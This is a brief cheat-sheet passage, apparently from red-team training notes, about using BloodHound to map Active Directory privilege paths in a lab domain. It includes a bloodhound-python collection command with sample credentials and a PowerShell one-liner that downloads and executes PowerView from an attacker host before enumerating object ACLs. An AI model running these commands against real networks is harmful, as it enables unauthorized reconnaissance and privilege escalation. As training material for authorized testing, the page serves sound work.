Bloodhound
BloodHound is a tool used by attackers and red teamers to map out Active Directory environments and identify hidden privilege escalation paths. It collects data using methods like LDAP queries, then visualizes relationships between users, groups, and computers to find paths to domain dominance.
There is a new version of Bloodhound that is shown below (Bloodhound CE). If you have an older version of Kali you do not have to download the new version if you do not want to use it. However, if you have the newest Kali build Bloodhound CE is within the repository and should be used.
−□×
bloodhound-python -u alice.wonderland -p 'P@ssw0rd!' -c all -d simply.cyber -ns 192.168.12.149
−□×
iex (iwr -usebasicparsing http://<'LHOST'>/PowerView.ps1)
$sid = convert-nametosid <'USER'>
get-domainobjectacl -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} -Verbose